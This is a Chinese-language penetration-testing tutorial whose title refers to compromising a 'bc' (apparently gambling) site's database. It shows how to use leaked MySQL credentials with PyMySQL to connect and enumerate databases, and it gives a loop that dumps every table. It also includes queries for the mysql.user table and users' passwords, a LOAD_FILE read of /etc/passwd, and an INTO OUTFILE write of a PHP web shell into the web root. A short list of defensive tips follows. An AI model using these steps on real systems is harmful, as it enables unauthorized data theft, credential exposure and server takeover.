渗透实战 | 记一次bc常规打点dbshell
字数 703 2025-08-19 12:41:14

MySQL数据库渗透实战教学文档

0x01 背景知识

AKSK概念解析

  • Access Key (AK)

    • 用途:唯一标识用户或应用程序的身份凭证
    • 格式:字母、数字组合的字符串
    • 示例:${MYSQL_USER:xxx_db}
  • Secret Key (SK)

    • 用途:用于API请求签名的私密密钥,确保请求真实性和完整性
    • 格式:较长的高随机性复杂字符串
    • 示例:${MYSQL_PWD:pwdxxxx}

MySQL连接信息格式

jdbc:mysql://${MYSQL_HOST:IP}:${MYSQL_PORT:3306}/${MYSQL_DB:xxxx}?
  • 包含主机IP、端口(默认3306)、数据库名等关键信息

0x02 环境准备

Python库安装

pip install pymysql

PyMySQL特点

  • 纯Python实现的MySQL客户端库
  • 不依赖MySQL的C库
  • 跨平台兼容性好
  • 支持Python3

0x03 渗透实战代码

基础连接与查询

import pymysql.cursors

# 建立数据库连接
connection = pymysql.connect(
    host='ip',              # 目标MySQL服务器IP
    user='xxx_db',          # 数据库用户名
    password='pwdxxxx',     # 数据库密码
    database='xxxx',        # 目标数据库名
    charset='utf8mb4',      # 字符编码设置
    cursorclass=pymysql.cursors.DictCursor  # 返回字典格式结果
)

try:
    with connection.cursor() as cursor:
        # 执行SQL查询
        sql = "SELECT VERSION()"  # 查询数据库版本
        cursor.execute(sql)
        
        # 获取查询结果
        result = cursor.fetchone()
        print("Database version:", result)
        
finally:
    # 关闭数据库连接
    connection.close()

0x04 渗透测试扩展

常用渗透查询语句

  1. 信息收集
-- 查询所有数据库
SHOW DATABASES;

-- 查询当前数据库所有表
SHOW TABLES;

-- 查询表结构
DESCRIBE table_name;
  1. 用户权限查询
-- 查询当前用户权限
SHOW GRANTS;

-- 查询所有用户及权限
SELECT * FROM mysql.user;
  1. 数据提取
-- 查询表中所有数据
SELECT * FROM table_name LIMIT 100;

-- 查询特定列数据
SELECT username, password FROM users;

高级渗透技巧

  1. 批量查询表数据
# 获取所有表名
cursor.execute("SHOW TABLES")
tables = cursor.fetchall()

for table in tables:
    table_name = table['Tables_in_xxxx']  # 替换实际数据库名
    print(f"\nTable: {table_name}")
    
    # 查询表数据
    cursor.execute(f"SELECT * FROM {table_name} LIMIT 5")
    rows = cursor.fetchall()
    for row in rows:
        print(row)
  1. 文件读取操作(需足够权限):
-- 读取服务器文件
SELECT LOAD_FILE('/etc/passwd');
  1. 写入文件操作(需足够权限):
-- 写入文件
SELECT '恶意内容' INTO OUTFILE '/var/www/html/shell.php';

0x05 安全防护建议

  1. AKSK保护措施

    • 定期轮换访问密钥
    • 最小权限原则分配权限
    • 避免硬编码在代码中
  2. MySQL安全配置

    • 限制远程访问IP
    • 使用强密码策略
    • 定期更新MySQL版本
    • 禁用LOAD_FILEINTO OUTFILE权限
  3. 监控与审计

    • 启用MySQL日志
    • 监控异常查询行为
    • 定期审计数据库权限

0x06 总结

本教学文档详细介绍了基于AKSK凭证的MySQL数据库渗透测试流程,从基础连接到高级查询技术,涵盖了信息收集、权限提升和数据提取等关键环节。同时提供了防护建议,帮助安全人员理解攻击手法并加强防御。

MySQL数据库渗透实战教学文档 0x01 背景知识 AKSK概念解析 Access Key (AK) 用途:唯一标识用户或应用程序的身份凭证 格式:字母、数字组合的字符串 示例: ${MYSQL_USER:xxx_db} Secret Key (SK) 用途:用于API请求签名的私密密钥,确保请求真实性和完整性 格式:较长的高随机性复杂字符串 示例: ${MYSQL_PWD:pwdxxxx} MySQL连接信息格式 包含主机IP、端口(默认3306)、数据库名等关键信息 0x02 环境准备 Python库安装 PyMySQL特点 : 纯Python实现的MySQL客户端库 不依赖MySQL的C库 跨平台兼容性好 支持Python3 0x03 渗透实战代码 基础连接与查询 0x04 渗透测试扩展 常用渗透查询语句 信息收集 : 用户权限查询 : 数据提取 : 高级渗透技巧 批量查询表数据 : 文件读取操作 (需足够权限): 写入文件操作 (需足够权限): 0x05 安全防护建议 AKSK保护措施 : 定期轮换访问密钥 最小权限原则分配权限 避免硬编码在代码中 MySQL安全配置 : 限制远程访问IP 使用强密码策略 定期更新MySQL版本 禁用 LOAD_FILE 和 INTO OUTFILE 权限 监控与审计 : 启用MySQL日志 监控异常查询行为 定期审计数据库权限 0x06 总结 本教学文档详细介绍了基于AKSK凭证的MySQL数据库渗透测试流程,从基础连接到高级查询技术,涵盖了信息收集、权限提升和数据提取等关键环节。同时提供了防护建议,帮助安全人员理解攻击手法并加强防御。